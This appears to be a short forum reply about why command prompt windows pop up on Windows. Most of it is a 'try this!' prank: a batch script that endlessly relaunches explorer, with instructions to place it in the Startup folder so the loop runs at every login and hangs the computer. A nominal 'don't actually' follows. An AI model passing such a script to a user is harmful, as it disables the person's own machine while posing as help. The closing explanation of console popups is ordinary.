try this!
in notepad, input this:
@echo off
:a
explorer
goto a
save the above 4 lines as a batch (.bat) file
drag it in (the folders are hidden)
C:\Documents and Settings\(user)\Start Menu\Programs\Startup (if your using xp)
or
C:\users\(user)\AppData\Roaming\Microsoft\Windows\ Start Menu (if your using vista)
C:\Users\(User-Name)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (if your using windows 7)
restart and you shall feel the power of the batch file!
Don't actually though
anyways, command prompt popping up can be because you are running programs based in command prompt (telnet, ping, nmap, etc)
or it can be because you are running batch files
of course, it could be some really clumsy hacker